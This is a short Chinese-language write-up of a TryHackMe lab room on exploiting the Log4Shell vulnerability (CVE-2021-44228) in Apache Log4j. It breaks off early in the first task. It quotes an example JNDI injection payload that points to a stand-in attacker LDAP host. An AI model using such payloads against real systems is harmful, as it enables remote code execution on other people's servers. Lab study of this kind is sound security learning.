THM---Solar-exploiting-Log-4j

THM---Solar-exploiting-Log-4j 该房间基于利用臭名昭著的 Log4j 漏洞（CVE-2021-44228），也称为 Log4Shell。该弱点允许攻击者通过将恶意负载注入日志消息来执行远程代码。 任务 1 – CVE-2021-44228 介绍 在此任务中，我了解了 Apache Log4j 中的 Log4Shell 漏洞（CVE-2021-44228）。 • Log4j 是一个广泛使用的 Java 日志库。 • 该漏洞通过 JNDI 查找实现远程代码执行（RCE）。 • 攻击者可以注入如下负载： $jndi:ldap://attacker.com/a •...